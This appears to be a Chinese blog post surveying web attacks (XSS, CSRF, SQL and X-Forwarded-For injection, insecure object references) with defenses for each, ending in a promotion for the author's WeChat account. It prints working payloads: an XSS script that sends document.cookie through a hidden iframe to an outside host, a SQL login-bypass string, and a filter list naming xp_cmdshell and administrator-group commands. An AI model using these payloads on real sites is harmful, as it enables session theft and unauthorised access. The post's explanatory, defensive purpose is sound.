摘要：前言一直以來自己對安全方面的知識了解的比較少，最近有點閑工夫了解了一下。攻擊的一般是由服務端解決。攻擊條件登錄受信任網站，并在本地生成。驗證對所有引用對象的授權。

一直以來自己對WEB安全方面的知識了解的比較少，最近有點閑工夫了解了一下。也是為了以后面試吧，之前就遇到過問WEB安全方面的問題，答的不是很理想，所以整理了一下！

跨站腳本攻擊(Cross Site Scripting)，為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意的Script代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的Script代碼會被執行，從而達到惡意攻擊用戶的目的。

特點：盡一切辦法在目標網站上執行非目標網站上原有的腳本。

XSS危害

使用js或css破壞頁面正常的結構與樣式

通過document.cookie盜取cookie，實現無密碼訪問

流量劫持（通過訪問某段具有window.location.href定位到其他頁面）

Dos攻擊：利用合理的客戶端請求來占用過多的服務器資源，從而使合法用戶無法得到服務器響應。

利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻擊）用戶的身份執行一些管理動作，或執行一些一般的如發微博、加好友、發私信等操作。

利用可被攻擊的域受到其他域信任的特點，以受信任來源的身份請求一些平時不允許的操作，如進行不當的投票活動。

攻擊方式

1. Reflected XSS（基于反射的XSS攻擊）

非持久型，反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能，如網站搜索、跳轉等。由于需要用戶主動打開惡意的 URL 才能生效，攻擊者往往會結合多種手段誘導用戶點擊。POST 的內容也可以觸發反射型 XSS，只不過其觸發條件比較苛刻（需要構造表單提交頁面，并引導用戶點擊），所以非常少見。

反射型 XSS 的攻擊步驟：

攻擊者構造出特殊的 URL，其中包含惡意代碼。

用戶打開帶有惡意代碼的 URL 時，網站服務端將惡意代碼從 URL 中取出，拼接在 HTML 中返回給瀏覽器。

用戶瀏覽器接收到響應后解析執行，混在其中的惡意代碼也被執行。

惡意代碼竊取用戶數據并發送到攻擊者的網站，或者冒充用戶的行為，調用目標網站接口執行攻擊者指定的操作。

2. Stored XSS（基于存儲的XSS攻擊）

持久型，這種攻擊常見于帶有用戶保存數據的網站功能，如論壇發帖、商品評論、用戶私信等。

存儲型 XSS 的攻擊步驟：

攻擊者將惡意代碼提交到目標網站的數據庫中。

用戶打開目標網站時，網站服務端將惡意代碼從數據庫取出，拼接在 HTML 中返回給瀏覽器。

用戶瀏覽器接收到響應后解析執行，混在其中的惡意代碼也被執行。

惡意代碼竊取用戶數據并發送到攻擊者的網站，或者冒充用戶的行為，調用目標網站接口執行攻擊者指定的操作。

3. DOM-based or local XSS（基于DOM或本地的XSS攻擊）

般是提供一個免費的wifi，但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面，從而植入惡意腳本。這種直接存在于頁面，無須經過服務器返回就是基于本地的XSS攻擊。

DOM 型 XSS 的攻擊步驟：

攻擊者構造出特殊的 URL，其中包含惡意代碼。

用戶打開帶有惡意代碼的 URL。

用戶瀏覽器接收到響應后解析執行，前端 JavaScript 取出 URL 中的惡意代碼并執行。

惡意代碼竊取用戶數據并發送到攻擊者的網站，或者冒充用戶的行為，調用目標網站接口執行攻擊者指定的操作。

簡單案例

使用xss彈出惡意警告框，代碼為：

<script>alert("xss")script>

xss輸入也可能是html代碼段，如果使網頁不停的刷新，代碼為：

<meta http-equiv="refresh" content="0;">

嵌入其他網站鏈接的代碼為：

<iframe src="http://www.jsay.org" width=0 height=0>iframe>

JavaScript 寫一個請求跨站的腳本就是XSS了，如下：

<script type="text/javascript">
  (function(window, document) {
      // 構造泄露信息用的 URL
      var cookies = document.cookie;
      var xssURIBase = "http://www.jsay.org/xss/";
      var xssURI = xssURIBase + window.encodeURI(cookies);
      // 建立隱藏 iframe 用于通訊
      var hideFrame = document.createElement("iframe");
      hideFrame.height = 0;
      hideFrame.width = 0;
      hideFrame.style.display = "none";
      hideFrame.src = xssURI;
      // 開工
      document.body.appendChild(hideFrame);
  })(window, document);
script>

XSS防御

思路：對輸入(和URL參數)進行過濾，對輸出進行編碼。也就是對提交的所有內容進行過濾，對url中的參數進行過濾，過濾掉會導致腳本執行的相關內容；然后對動態輸出到頁面的內容進行html編碼，使腳本無法在瀏覽器中執行。雖然對輸入過濾可以被繞過，但是也還是會攔截很大一部分的XSS攻擊。

對輸入、URL參數等（如：<>、/ 、&、"、" ）進行轉義、過濾，僅接受指定長度范圍內并符合我們期望格式的的內容提交，阻止或者忽略除此外的其他任何數據；

輸出數據之前對潛在的威脅的字符進行編碼、轉義；

XSS 一般利用js腳步讀取用戶瀏覽器中的Cookie，而如果在服務器端對 Cookie 設置了HttpOnly 屬性，那么js腳本就不能讀取到cookie，但是瀏覽器還是能夠正常使用cookie。

設置黑、白名單；

Content Security Policy 的實質就是白名單制度，開發者明確告訴客戶端，哪些外部資源可以加載和執行，等同于提供白名單。它的實現和執行全部由瀏覽器完成，開發者只需提供配置。

CSRF（Cross-site request forgery）跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點內的信任用戶，而CSRF則通過偽裝成受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進行防范的資源也相當稀少）和難以防范，所以被認為比XSS更具危險性。

本質原因：CSRF攻擊是源于Web的隱式身份驗證機制。Web的身份驗證機制雖然可以保證一個請求是來自于某個用戶的瀏覽器，但卻無法保證該請求是用戶批準發送的。CSRF攻擊的一般是由服務端解決。

CSRF攻擊條件：

登錄受信任網站A，并在本地生成Cookie。

在不登出A的情況下，訪問危險網站B。

雖然有些時候你訪問B網站的時候，并沒有訪問A網站，但是你并不能保證之前登錄過A網站的本地Cookie已過期，這個時候B網站一樣是可以發起攻擊。 CSRF攻擊是源于WEB的隱式身份驗證機制！WEB的身份驗證機制雖然可以保證一個請求是來自于某個用戶的瀏覽器，但卻無法保證該請求是用戶批準發送的！

CSRF的防御

Cookie Hashing(所有表單都包含同一個偽隨機值);

驗證碼;

One-Time Tokens(不同的表單包含一個不同的偽隨機值);

不讓第三方網站訪問到用戶 Cookie，阻止第三方網站請求接口。

通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。它是利用現有應用程序，將（惡意的）SQL命令注入到后臺數據庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得到一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。

原理

SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序，而這些輸入大都是SQL語法里的一些組合，通過執行SQL語句進而執行攻擊者所要的操作，其主要原因是程序沒有細致地過濾用戶輸入的數據，致使非法數據侵入系統。

簡單舉例：

// 前端給后端post鍵值對，登錄的用戶名和密碼
let data = {
  username: "admin",
  pwd: "abc123456"
}
// 后端的sql語句
 SELECT * FROM user WHERE username="${username}" AND psw="${pwd}"

這個時候前端的 username 別人輸入 admin" -- ；這個時候查詢的 SQL 語句就變成這樣子了：

SELECT * FROM user WHERE username="admin" -- AND psw="${pwd}"

Ps: -- 在SQL語句里面是注釋，也就是說登錄的查詢條件變成了不需要驗證密碼！

SQL注入防御

永遠不要信任用戶的輸入。對用戶的輸入進行校驗，可以通過正則表達式，或限制長度；對單引號和 雙"-"進行轉換等。

永遠不要使用動態拼裝sql，可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。

永遠不要使用管理員權限的數據庫連接，為每個應用使用多帶帶的權限有限的數據庫連接。

不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息。

應用的異常信息應該給出盡可能少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝

sql注入的檢測方法一般采取輔助軟件或網站平臺來檢測，軟件一般采用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻擊等。

X-Forwarded-for的縮寫，XFF注入是SQL注入的一種，該注入原理是通過修改X-Forwarded-for頭對帶入系統的dns進行sql注入，從而得到網站的數據庫內容。

XFF的預防

過濾http頭中的X-Forwarded-for header中的內容，不允許其插入敏感字符，過濾字符參考sql注入修復方案。

過濾以下敏感字符。需要過濾的特殊字符及字符串有：

net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
"
：
"
insert
delete from
drop table
update
truncate
from
%

當開發人員公開對內部實現對象的引用（例如URL或FORM參數中的文件，目錄或數據庫鍵）時，就會發生這種情況。攻擊者可以使用此信息訪問其他對象，并可以創建將來的攻擊來訪問未經授權的數據。

簡單舉例： 更改以下URL中的 userid 可以使攻擊者查看其他用戶的信息。 http://www.jsay.org/userid=123 修改為 http://www.jsay.org/userid=124 攻擊者可以通過更改用戶標識值來查看其他信息。或者文件允許下載訪問 http://www.jsay.org/a.txt ，但是通過 http://www.jsay.org/b.txt 可以看到不允許訪問的文件！

防御

實施訪問控制檢查。

避免在URL中公開對象引用。

驗證對所有引用對象的授權。

處理用戶（客戶端）和服務器（應用程序）之間的信息交換。應用程序經常通過網絡傳輸敏感信息，如身份驗證詳細信息，信用卡信息和會話令牌。通過使用弱算法或使用過期或無效的證書或不使用SSL，可以允許將通信暴露給不受信任的用戶，這可能會危及Web應用程序和/或竊取敏感信息。

防御

啟用安全HTTP并僅通過HTTPS強制執行憑據傳輸。

確保您的證書有效且未過期。

我自己運營的公眾號，記錄我自己的成長

公眾號：前端曰

公眾號ID：js-say

ps：是(yue)不是(ri)